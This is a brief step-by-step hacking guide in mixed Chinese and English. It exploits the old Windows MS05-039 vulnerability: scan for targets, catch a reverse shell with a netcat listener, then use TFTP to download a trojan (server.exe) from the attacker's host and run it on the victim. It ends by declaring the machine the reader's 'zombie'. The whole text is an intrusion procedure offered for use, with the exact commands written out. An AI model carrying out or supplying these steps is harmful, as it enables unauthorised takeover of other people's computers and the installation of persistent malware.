用ms05039scan扫描可以入侵的主机
2 use nc to listen local port,command: nc -vv -l -p 1234
3 use溢出tool进行溢出，command: ms05039 目标IP 本地IP 1234
If you are successful,nc窗口将返回一个shell
4 在本地用tftp32.exe建立一个tftp服务器，配置一个木马服务段server.exe
5 在shell中执行command: tftp -i 本地IP get server.exe
6 在shell中运行server.exe

现在，这台机子就是你的肉鸡了